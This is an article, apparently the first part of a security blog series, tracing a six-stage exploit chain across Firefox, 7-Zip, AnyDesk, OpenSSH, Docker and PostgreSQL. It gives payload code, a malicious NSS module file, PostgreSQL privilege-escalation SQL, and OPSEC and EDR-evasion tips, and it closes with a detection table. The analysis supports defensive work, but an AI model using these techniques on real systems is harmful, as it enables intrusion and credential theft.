“Click. Pop. Own.” — A Full-Stack Kill Chain
An individual vulnerability may appear to pose little risk. Combined, however, they expose the entire system.
Series: The Bikini Exploitarium (Part 1 of 6)
Attack flow: initial access → defense evasion → privilege escalation → credential access → lateral movement → impact
Exploits used: 6 | Custom malware required: 0 | Officially distributed binaries abused: 6
🎯 Scenario
Consider NovaTech Solutions, a midsize B2B SaaS company with around 200 engineers. Its technology stack resembles a typical enterprise environment: PostgreSQL databases, development in Docker containers, and an internally operated deployment pipeline. Standard internal tools include AnyDesk for remote support and 7-Zip for archiving. Developers use Firefox and connect to production servers over SSH when incidents occur.
The CISO believed all necessary security measures were in place. EDR was installed on every endpoint, the network was segmented, and MFA was mandatory. The previous penetration test had found no issues.
Then, one day, a developer clicks a link posted in a Slack channel.
Five minutes later, the attacker is executing commands in the production database. Those commands run as a table owner whose privileges exceed the attacker’s own.
Let’s follow how the attack unfolds, step by step.
📐 The Complete Attack Flow
┌──────────────────────────────────────────────────────────────────┐
│ THE FULL STACK KILL CHAIN │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [1] INITIAL ACCESS Firefox 152.0.5 NSS RCE │
│ │ Wasm JIT → BrowserBridge → backup restore → DLL load │
│ ▼ │
│ [2] DEFENSE EVASION 7-Zip RAR5 MotW Bypass │
│ │ RAR5 STM records overwrite Zone.Identifier via :$DATA │
│ ▼ │
│ [3] PRIVILEGE ESCALATION AnyDesk Printer Pipe COM LPE │
│ │ adprinterpipe → CoUnmarshalInterface → SYSTEM token │
│ ▼ │
│ [4] CREDENTIAL ACCESS OpenSSH Agent Lock Bypass │
│ │ Forwarded socket persists across lock → provider load │
│ ▼ │
│ [5] LATERAL MOVEMENT Docker cp Destination Escape │
│ │ Symlink race + strings.HasPrefix bypass → host write │
│ ▼ │
│ [6] IMPACT PostgreSQL RI Cast Escalation │
│ └ FK implicit cast → owner switch → COPY TO PROGRAM │
│ │
└──────────────────────────────────────────────────────────────────┘
| Stage | MITRE ATT&CK tactic | Technique | Exploit |
|---|---|---|---|
| 1 | TA0001 Initial Access | T1189 Drive-by Compromise | firefox-152.0.5-backup-nss-rce-poc |
| 2 | TA0005 Defense Evasion | T1553.005 Mark-of-the-Web Bypass | 7zip-rar5-motw-chain-poc |
| 3 | TA0004 Privilege Escalation | T1134 Access Token Manipulation | anydesk-printer-com-impersonation-poc |
| 4 | TA0006 Credential Access | T1552.004 Private Keys | openssh-agent-lock-provider-bypass |
| 5 | TA0008 Lateral Movement | T1610 Deploy Container / T1611 Escape to Host | docker-cp-copyout-destination-escape |
| 6 | TA0040 Impact | T1565 Data Manipulation | postgres-ri-owner-switched-cast-poc |
Stage 1: Initial Access — RCE Through NSS Module Loading in Firefox 152.0.5
Target: digitally signed, officially distributed Firefox 152.0.5 for Windows x64
Trigger: a developer clicks a URL
Result: arbitrary code execution initiated from a web page
This attack is more involved than a conventional browser exploit. It sequentially abuses independent internal Firefox features across five steps.
The Attack Flow Inside Firefox
Content Process (sandboxed)
└─ Wasm/Baseline-JIT corruption
└─ Leak JIT return address → derive stack repair locations
└─ Walk child window-context structures
└─ Recover BrowsingContext identifier
│
Chrome Process (privileged)
└─ BrowserBridge load with system principal
└─ Navigate to about:welcome (privilegedabout remote type)
└─ BackupUI actor accepts page-dispatched events
└─ GetBackupFileInfo → RestoreFromBackupFile
│
Profile Recovery
└─ Restore credentials_and_security resource
└─ Attacker-supplied pkcs11.txt → NSS module database
└─ PR_LoadLibraryWithFlags("firefox_calc_payload.dll")
└─ DLL process-attach → WinExec("calc.exe")
How Each Step Works
Step 1: Taking Over the Content Process Through Wasm JIT
Both Wasm modules use the same Baseline-JIT memory corruption technique. The first payload, child_id_probe.wasm, exploits the JIT to control native code execution in the sandboxed content process. It then walks live child window-context structures and writes the identifier of a child BrowsingContext in a separate process into Wasm linear memory.
There is no need to escape the sandbox directly at this stage. It only needs to obtain the identifier required for the next step.
Step 2: Reaching the Privileged Chrome Process Through BrowserBridge
The second Wasm payload, native_browserbridge.wasm, uses the recovered identifier to locate the BrowserBridgeChild actor. It then creates nsDocShellLoadState, assigns the system principal, and invokes the bridge’s load method.
Forged credentials are used over a legitimate IPC channel to make the privileged chrome process perform the operation on the attacker’s behalf. This crosses the sandbox’s privilege boundary.
Step 3: Abusing a Privileged Actor
about:welcome runs under the shared remote process type privilegedabout. browser/components/backup/BackupUIChild.sys.mjs contains the BackupUI child actor (lines 22–33 and 90–109), which forwards custom events dispatched by the page to the parent actor. The parent actor uses the supplied backup path without checking where the event originated.
The injected script dispatches the following two events.
BackupUI:GetBackupFileInfo— validates the archive. The supplied archive is well-formed and hasencConfig: null.BackupUI:RestoreFromBackupFile— restores the profile and launches it automatically.
Step 4: Code Execution Through NSS Module Loading
The generated backup’s credentials_and_security resource contains an attacker-controlled pkcs11.txt file.
library=C:\\Users\\<user>\\Downloads\\firefox_calc_payload.dll
name=Firefox Calculator Module
parameters=
NSS=
Firefox restarts with the restored profile. NSS reads the text-based module database in security/nss/lib/util/utilmod.c (lines 228–245) and, in security/nss/lib/pk11wrap/pk11load.c (lines 449–506), calls PR_LoadLibraryWithFlags. Windows then executes the DLL entry point. The DLL has an empty PE export directory and needs no PKCS#11 implementation. The entry point executed when the DLL is loaded into the process is sufficient.
// calc_payload.c — the entire "exploit payload"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH)
WinExec("calc.exe", SW_SHOWNORMAL);
return TRUE;
}
🔴 Practical Notes
- Execution returns to JavaScript after each native dispatch, allowing logging and error handling between the steps.
- The verification log records native return values, resolved actor pointers, and callbacks from privileged pages within a single browser session.
- The Wasm payload contains hardcoded native offsets for the build with SHA-256
BA9EEFD0...(firefox.exe). Targeting another build requires offsets for that specific build. - The server automatically resolves the actual Windows-managed Downloads folder from the registry. There is no need to hardcode user-specific paths.
- Operational security (OPSEC): the attack leaves
firefox_calc_payload.dllandFirefoxBackup_RCE.htmlin the Downloads folder. The server exits early if either already exists, so cleanup should be considered in advance. - In the verification run, the page was opened at
08:59:56and Calculator launched at09:00:15with PID34792. It took 19 seconds from click to code execution.
Stage 2: Defense Evasion — 7-Zip RAR5 Mark-of-the-Web Bypass
Target: 7-Zip 26.01 x64 on Windows NTFS
Trigger: a user extracts a RAR5 archive downloaded from the Internet
Result: instead of ZoneId=3, extracted files receive ZoneId=0, preventing SmartScreen from recognizing them as files downloaded from the Internet
Differences in NTFS Stream Name Interpretation
7-Zip contains logic that propagates Mark-of-the-Web (MotW), the origin marker on Internet downloads, to extracted files. Zone.Identifier is recognized as the MotW stream. An identically named stream inside the archive is ignored, and the zone information on the original archive is applied instead.
The bypass starts with a difference between NTFS stream name interpretation and 7-Zip’s string comparison.
7-Zip guard checks for: "Zone.Identifier" → blocked, suppressed
Archive provides: "Zone.Identifier:$DATA" → not matched, passes through
But on NTFS:
file:Zone.Identifier ← resolves to this ADS
file:Zone.Identifier:$DATA ← SAME alternate data stream!
:$DATA is the default NTFS stream type and may be omitted from the name. On Windows, both names therefore refer to the same alternate data stream. Yet 7-Zip’s check treats them as different names. This difference lets the stream inside the archive overwrite the zone information inherited from the original archive.
Building the RAR5 Archive
The PoC builds a RAR5 archive using just the following three entries.
| Entry | RAR5 type | Behavior |
|---|---|---|
invoice.docx | Regular file | Decoy data made to look like a harmless file. |
invoice.docx::$DATA | STM service record | Using the attacker’s payload, the visible file contents are overwritten. |
invoice.docx:Zone.Identifier:$DATA | STM service record | MotW is set to ZoneId=0 (local zone); its original value is overwritten. |
Extracting the archive with 7-Zip produces the following result.
invoice.docx → Attacker-controlled content (NOT the benign decoy!)
invoice.docx:Zone.Identifier → ZoneId=0 → SmartScreen says: "local file, looks fine"
The archive is generated entirely in Python; its SHA-256 is A962DDB7A031354.... It can be built using structure packing alone, without a WinRAR license or the RAR SDK.
🔴 Practical Notes
- A single archive overwrites both the file contents and MotW. The attacker controls both values.
- The RAR5 archive itself must carry
ZoneId=3, indicating that it was downloaded from the Internet. This marker activates 7-Zip’s MotW propagation logic and reaches the vulnerable code path. - Both ‘Extract Here’ and ‘Extract to Folder’ use the same STM handling logic, so the technique works with either option.
- Combined with stage 1, Firefox can deliver a RAR5 archive containing the stage 3 payload. When the user extracts it with 7-Zip, the payload executes without a SmartScreen warning or additional confirmation prompt.
- Verification result:
[+] VULNERABLE: full chain verified
Stage 3: Privilege Escalation — COM Impersonation Through the AnyDesk Printer Pipe
Target: AnyDesk 9.7.6 for Windows, registered as a service with default settings
Prerequisites: low-privileged code execution on a system with AnyDesk installed (stages 1–2)
Result: NT AUTHORITY\SYSTEM token obtained
A Printer Pipe Open to Every User
At startup, the AnyDesk service creates the following named pipe.
\\.\pipe\adprinterpipe
Let’s examine the security descriptor applied to this pipe.
| Address identified during analysis | Behavior |
|---|---|
0x100f206 — 0x100f229 | SID S-1-1-0 is created as the SID for Everyone. |
0x100f37b — 0x100f38a | GENERIC_ALL permissions are granted. |
Under this configuration, any local user has full access to the pipe, regardless of integrity level. The issue stems from the ACL configuration itself, rather than a transient runtime error.
Obtaining a SYSTEM Token Through COM Impersonation
Attacker (low-priv user) AnyDesk Service (SYSTEM)
│ │
├─ Connect to \\.\pipe\adprinterpipe ───►│
│ │
├─ Send 0x1000 bytes containing ────────►│
│ marshaled IStream COM object │
│ ├─ FUN_0100e6e0():
│ │ Copies bytes to HGLOBAL
│ │ CreateStreamOnHGlobal()
│ │ CoUnmarshalInterface(IID_IUnknown)
│ │ QueryInterface(IID_IStream)
│ │
│ ├─ FUN_0100e520():
│ │ IStream::Read()
│ │ │
│◄───── COM callback to attacker ────────┼────────┘
│ (thread carries SYSTEM token via │
│ RPC_C_IMP_LEVEL_IMPERSONATE) │
│ │
├─ OpenThreadToken() → SYSTEM token │
├─ DuplicateTokenEx() │
└─ CreateProcessWithTokenW() → SYSTEM ☠ │
The key is the COM security configuration. At 0xf71fef-0xf72005, AnyDesk calls CoInitializeSecurity with the impersonation level set to 3(RPC_C_IMP_LEVEL_IMPERSONATE). When it subsequently calls the attacker-marshaled COM object’s IStream::Read, the callback executes in the attacker’s process. The calling thread carries AnyDesk’s SYSTEM token.
Where the Trust Boundary Breaks
Trust boundary violation:
Pipe client (untrusted, any user)
│
├─ provides COM marshaling bytes via pipe message
▼
AnyDesk service (SYSTEM, high trust)
│
├─ CoUnmarshalInterface() → creates proxy to attacker's COM server
├─ IStream::Read() → callback crosses back to attacker process
▼
COM impersonation in callback
│
└─ Attacker thread → OpenThreadToken() → SYSTEM
AnyDesk trusts and unmarshals the COM object sent by the pipe client. At the COM layer, this is comparable to running autorun.exe from a USB drive handed over by a stranger. COM impersonation is also permitted, enabling privilege escalation.
🔴 Practical Notes
- The pipe is created at service startup on every Windows system with AnyDesk installed.
- AnyDesk’s
CreateServiceWcall specifieslpServiceStartName = NULL. The service therefore runs under Windows’ default LocalSystem account. python poc.py selftestreproduces the COM call flow without installing AnyDesk.- The static analysis command
python poc.py analyze path\to\AnyDesk-runtime.exeidentifies signatures of this behavior. - Most EDR products do not monitor named-pipe connections to
adprinterpipe. This privilege escalation may therefore go undetected. - The required package is
pywin32; install it withpip install pywin32.
Stage 4: Credential Access — Bypassing the OpenSSH Agent’s Provider Restrictions
Target: OpenSSH portable 9.3p2–10.4p1 (versions distributed over roughly three years)
Prerequisites: SYSTEM privileges from stage 3, a running developer SSH agent, and an agent-forwarding session
Result: arbitrary PKCS#11 provider loading through a forwarded socket that the agent incorrectly classifies as local
Flaws in the Logic for Handling the Locked State
This logic flaw arises from the interaction between the OpenSSH client and agent. Examining either component in isolation makes it difficult to understand the full issue.
Timeline:
┌─────────────────────────────────────────────────────────────────────┐
│ T0: Agent running, keys loaded, agent forwarding enabled │
│ │
│ T1: Agent is LOCKED (via separate local socket) │
│ │
│ T2: ssh -A connects to remote host │
│ → ssh_agent_bind_hostkey() called │
│ → Agent REFUSES (it's locked) │
│ → Client logs: "agent refused operation" │
│ → Client creates forwarded channel ANYWAY ← BUG 1│
│ │
│ T3: Session-bind extension sent on forwarded socket │
│ → process_message() hits locked gate │
│ → Extension DISCARDED before process_extension() runs │
│ → session_bind_attempted NEVER SET for this socket ← BUG 2│
│ │
│ T4: Agent UNLOCKED (via separate local socket) │
│ │
│ T5: Attacker sends SSH_AGENTC_ADD_SMARTCARD_KEY on the │
│ PERSISTENT forwarded socket │
│ → socket_is_remote() checks: │
│ • session_bind_attempted == 0 (never set!) │
│ • session identifiers == 0 (never recorded!) │
│ → Returns FALSE → "this is a local socket" ← BUG 3│
│ → process_add_smartcard_key() accepts the request │
│ → pkcs11_add_provider() → ssh-pkcs11-helper starts │
│ → Attacker-chosen PKCS#11 module LOADED │
└─────────────────────────────────────────────────────────────────────┘
How Three Flaws Interact
| No. | Location | Issue |
|---|---|---|
| 1 | clientloop.c → client_request_agent() | ssh_agent_bind_hostkey() still creates a forwarding channel even if the agent’s rejection is returned. The rejection is only logged and does not affect subsequent behavior. |
| 2 | ssh-agent.c → process_message() | While locked, the agent discards all extension requests. session-bind@openssh.com — process_ext_session_bind() is not reached, so the socket’s session_bind_attempted is never set. |
| 3 | ssh-agent.c → socket_is_remote() | session_bind_attempted=0 and session_ids=0 cause the forwarded socket to be treated as a local connection. The remote-provider restrictions are therefore not applied. |
Individually, these are small flaws. Combined, the three completely bypass the remote-provider restrictions introduced in OpenSSH 9.3p2.
Behavior Observed in the Logs
This is a trace log from an unmodified OpenSSH 10.4p1 agent.
agent locked
process_message: socket 1 type 27 ← extension discarded while locked
agent unlocked
process_message: socket 1 type 20 ← SMARTCARD_KEY on same socket
process_add_smartcard_key: add /usr/lib/x86_64-linux-gnu/pkcs11/p11-kit-trust.so
pkcs11_start_helper: starting .../ssh-pkcs11-helper -vvv
provider .../p11-kit-trust.so: manufacturerID <PKCS#11 Kit>
Under the same conditions, the client records the following log.
client_request_agent: ssh_agent_bind_hostkey: agent refused operation
channel 1: new agent-connection [authentication agent connection] ← opened anyway!
confirm agent-connect
🔴 Practical Notes
- This requires a forwarded agent socket and permission to lock and unlock the agent through a separate local socket. SYSTEM privileges from stage 3 provide both.
- The provider to be loaded must be on the agent’s allowlist. On most distributions,
p11-kit-trust.sois included in the default allowlist. - This stage captures the SSH keys the developer uses to access production infrastructure. Those keys can extend access to the servers.
- Affected versions range from
V_9_3_P2throughV_10_4_P1. The bypass path has existed since the restriction was introduced. - The PoC verifies the issue over a real SSH connection rather than emulating the protocol. Run it with
OPENSSH_PREFIX=/opt/openssh-10.4p1 bash run.sh. - Archive SHA-256:
ef6026dd2aea8d56059638d5d3262902c892ceba9f88395835e0d06d3fb63238
Stage 5: Lateral Movement — Escaping the Docker cp Destination Path
Target: Docker Engine 29.6.0 (client/server), API 1.55
Prerequisites: access to the Docker host using SYSTEM privileges and SSH keys obtained in stages 3–4
Result: docker cp writes attacker-controlled files outside its destination directory
A Race Between Checking and Copying a Directory
On the host, docker cp container:/path /host/dst is processed in the following two steps.
- Daemon side (
daemon/archive_unix.go:40-92):filepath.WalkDirwalks the container filesystem and creates a tar stream. - Client side (
cli/command/container/cp.go:257-338): extracts the received tar stream into the destination directory on the host.
A time gap separates the directory check from its actual use. After a directory is checked during traversal but before its tar entry is created, a container process can replace it with a symbolic link. The tar stream then contains entries such as the following.
src/dir/zzlink → ../../../dst2 (symlink entry)
src/dir/zzlink/marker → "content" (file entry, follows the symlink)
strings.HasPrefix check bypass
During extraction, Docker checks the symbolic link’s target path in archive.go:480-490.
targetPath := filepath.Join(filepath.Dir(path), hdr.Linkname)
if !strings.HasPrefix(targetPath, extractDir) {
return errors.New("invalid symlink target")
}
This check has the following weakness.
extractDir = /tmp/docker-cp-copyout-repro/dst
targetPath = /tmp/docker-cp-copyout-repro/dst2
^
"dst2" has prefix "dst" ✓
"dst2" starts with "dst", so it passes the strings.HasPrefix check. However, dst2 is a separate sibling directory, not a directory inside the copy destination. Failing to check the path separator / allows paths outside the extraction boundary.
The source code comments also mention this TOCTOU risk. daemon/container/container.go:359-363 explains that the returned path stays within the intended boundary only if none of its components change between resolution and actual use.
Reproduction Results
Client=29.6.0 Server=29.6.0 API=1.55
delay=0.010 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.025 cp_status=0 outside_marker=absent link=../../../dst2
delay=0.050 cp_status=0 outside_marker=absent link=../../../dst2
...
delay=0.200 cp_status=0 outside_marker=present link=../../../dst2 ← RACE WON
success=yes
requested_destination=/var/tmp/docker-cp-copyout-github/dst
outside_marker_path=/var/tmp/docker-cp-copyout-github/dst2/marker
outside_marker_value=container-controlled-host-marker
🔴 Practical Notes
- This vulnerability alone does not escape a container. Someone must run
docker cp. However, CI/CD environments often usedocker cpto retrieve build artifacts, so that operation can trigger the attack. - The PoC places many padding files before the target path to widen the race window. The delay that worked well for reproduction was around
200ms. - The key captured in stage 4 can be used to SSH into the CI/CD Docker host and prepare the race. When the pipeline later invokes
docker cp, the attack takes effect. - The container controls the target of the symbolic link
../../../dst2. It can therefore be redirected to any path writable by the user runningdocker cp. - From a defensive perspective, copying from a stopped container is safer. It does not, however, resolve the archive extraction issue. The fundamental fix is to anchor extraction to file descriptors and avoid following attacker-controlled symbolic links.
- The post-test cleanup command is
rm -rf /tmp/docker-cp-copyout-repro. The PoC removes the container on exit but leaves the artifacts created on the host.
Stage 6: Impact — Privilege Escalation Through PostgreSQL RI Checks and Implicit Casts
Target: PostgreSQL 20devel (also applicable to stable-version branches)
Prerequisites: PostgreSQL connectivity through access to the Docker host obtained in stage 5
Result: a normal INSERT statement executes arbitrary OS commands as a more privileged table owner
This exploit is particularly noteworthy within the chain. Even with limited database privileges, the attacker can execute code as another user with higher privileges.
How the Privilege Escalation Works
SETUP (as attacker role with CREATE and REFERENCES privileges):
1. CREATE TYPE fkkey AS (val integer)
2. CREATE FUNCTION cast_fkkey_to_int(fkkey) RETURNS integer
→ Contains: COPY ... TO PROGRAM 'attacker_command'
3. CREATE CAST (fkkey AS integer) WITH FUNCTION cast_fkkey_to_int AS IMPLICIT
4. CREATE TABLE attacker_fk (ref fkkey REFERENCES owner_table(id))
TRIGGER (as attacker role):
5. INSERT INTO attacker_fk VALUES (ROW(7)::fkkey)
WHAT HAPPENS INSIDE POSTGRES:
┌─ INSERT triggers RI (referential integrity) check
│
├─ ri_PerformCheck() needs to verify FK value exists in PK table
│ └─ SetUserId(referenced_table_owner) ← OWNER SWITCH!
│
├─ build_index_scankeys() coerces FK type to PK type
│ └─ Calls implicit cast: fkkey → integer
│ └─ Executes cast_fkkey_to_int() ← ATTACKER'S FUNCTION
│ └─ Running as referenced_table_owner ← HAS pg_execute_server_program
│ └─ COPY ... TO PROGRAM succeeds!
│
└─ Attacker's OS command runs as the table owner's identity
Why Direct Calls Are Blocked but Foreign-Key INSERTs Succeed
-- Direct call: DENIED
SET ROLE ri_attacker_probe;
SELECT cast_fkkey_to_int(ROW(7)::fkkey);
-- ERROR: must be superuser or have pg_execute_server_program to COPY TO/FROM PROGRAM
-- Via FK insert: ALLOWED
INSERT INTO attacker_fk VALUES (ROW(7)::fkkey);
-- The RI check switches to the table owner before calling the cast
-- COPY TO PROGRAM sees the OWNER's privileges → SUCCEEDS
src/backend/utils/adt/ri_triggers.c contains the referential integrity (RI) checking logic, which switches the execution user to the table owner before invoking the cast function. The cast function runs as SECURITY INVOKER, using the current effective user’s privileges. At this point, the effective user has already become the owner of the referenced table.
Tracing PostgreSQL’s Execution Flow in the Source Code
| File | Processing |
|---|---|
src/backend/commands/functioncmds.c → CreateCast() | Allows creation of the cast if the caller owns either the source or target type. |
src/backend/commands/tablecmds.c | During foreign-key creation, can_coerce_type(..., COERCION_IMPLICIT) permits an implicit cast. |
src/backend/utils/adt/ri_triggers.c → ri_PerformCheck() | Switches the effective user to the referenced table’s owner. |
src/backend/utils/adt/ri_triggers.c → build_index_scankeys() | Invokes the cached cast function with the switched user’s privileges. |
src/backend/commands/copy.c | COPY TO PROGRAM, when executed, checks the user returned by GetUserId() for the pg_execute_server_program privilege. |
src/backend/commands/copyto.c | Once the privilege check passes, the following call chain executes an OS command: COPY TO PROGRAM — OpenPipeStream(). |
Verification Output
{
"database": "ri_cast_probe",
"owner_role": "ri_owner_probe",
"attacker_role": "ri_attacker_probe",
"direct_function_call_blocked": true,
"insert_returncode": 0,
"marker": "ri_owner_probe:ri_attacker_probe:off",
"expected_marker": "ri_owner_probe:ri_attacker_probe:off",
"reproduced": true
}
In the marker, current_user identifies the table owner, while session_user identifies the attacker. is_superuser is off. Even a normal INSERT statement crosses the privilege boundary, as the output demonstrates.
🔴 Practical Notes
- The attacker needs the target table’s
REFERENCESprivilege. In multitenant databases, this is often broadly granted to support application foreign-key relationships. CREATE TYPE,CREATE FUNCTION,CREATE CASTmust also be permitted. These DDL privileges are commonly granted in environments where multiple users share a database.- The query itself is a valid
INSERTstatement. A foreign-key INSERT therefore looks like an ordinary operation even when it appears in query logs. - It also works on an officially distributed PostgreSQL installation without extensions or additional configuration.
- The marker file
/tmp/postgres_ri_cast_marker.txtremains on the server filesystem and must be removed after testing. - The actual impact depends on the table owner’s privileges. If the owner is a superuser, those privileges are obtained. With
pg_execute_server_programprivileges, OS commands can be executed. The target table owner’s privileges must therefore be examined.
💀 Scope of the Attack’s Impact
An attack that started with one developer clicking a link reaches the following assets.
| Asset | Compromise status | Privileges and access paths obtained |
|---|---|---|
| Developer workstation | Controlled | User privileges through Firefox RCE |
| SmartScreen protection | Bypassed | Privilege level not applicable · MotW overwrite by 7-Zip |
| Local system | SYSTEM privileges obtained | SYSTEM privileges through AnyDesk COM impersonation |
| SSH private keys | Captured | Access to agent keys through a lock bypass |
| Docker host filesystem | Writable | docker cp host-user privileges through destination escape |
| Production database | Compromised | Table-owner privileges through an RI cast |
| All containers on the same host | Compromised | Impact extended through host access |
| Deployment pipeline | Backdoor insertion possible | SSH keys and write access to the host |
Custom malware deployed: 0
Signed, officially distributed binaries abused: 6
From click to database shell: under 5 minutes
Expected EDR alerts: likely 0. Loading a DLL from the Downloads folder may, however, be detected.
🛡️ Detection Opportunities at Each Stage
Let’s examine the same attack flow from a defensive perspective. The following lists behavior that a purple team can detect at each stage.
| Stage | Behavior to monitor | Detection difficulty |
|---|---|---|
| 1 | %USERPROFILE%\Downloads used as the source of an NSS module load | 🟢 Easy — behavior that should not occur in a normal environment |
| 1 | Firefox launches an unexpected process after profile recovery | 🟡 Moderate |
| 2 | Files extracted from an Internet-downloaded archive have ZoneId=0 set | 🔴 Hard — ADS monitoring required |
| 3 | A process other than AnyDesk connects to adprinterpipe | 🟡 Moderate — pipe monitoring required |
| 4 | A forwarded socket is used to run ssh-pkcs11-helper | 🔴 Hard — agent audit logs required |
| 5 | docker cp writes files outside the destination path | 🔴 Hard — filesystem auditing required |
| 6 | RI trigger processing executes COPY TO PROGRAM | 🟡 Moderate — use PostgreSQL pgaudit |
If only one detection can be prioritized, focus on firefox.exe loading a DLL from the Downloads folder. If EDR detects this behavior, the chain can be broken at stage 1.
🔗 The ‘Bikini Problem’: Risks Missed When Vulnerabilities Are Viewed in Isolation
Now consider the full chain again. The six exploits come from six different products, each with a different development team. If each team examines only its own product’s issue, it may conclude: ‘It is a vulnerability, but exploiting it requires certain prerequisites.’
Firefox: ‘Everything has to line up, from Wasm JIT corruption through BrowserBridge and BackupUI to the NSS module path.’
7-Zip: ‘It is only a MotW issue, and the user has to open the file.’
AnyDesk: ‘This is a local attack. Access to the system is already required.’
OpenSSH: ‘It requires a locked agent and a forwarded socket, and the agent must be unlocked separately.’
Docker: ‘It is a race condition that only works if someone runs docker cp.’
PostgreSQL: ‘CREATE privileges and REFERENCES privileges on the target table are required.’
Each explanation is technically correct for the individual vulnerability. When the vulnerabilities are chained together, however, this reasoning significantly underestimates the actual risk.
This is the ‘bikini problem’ described in this series: each part covers only a small area, while the full view reveals far greater exposure. The prerequisites of a single vulnerability must not be used to judge the feasibility of the entire attack.
Part 2, ‘Poisoning the Pipeline,’ examines how a single CSRF link can lead to backdoors in every container image built by the company.
The Bikini Exploitarium is a six-part series analyzing the risks of combining exploits from the Exploitarium repository. All analysis is for defense and education. Cybercrime is never something to be proud of.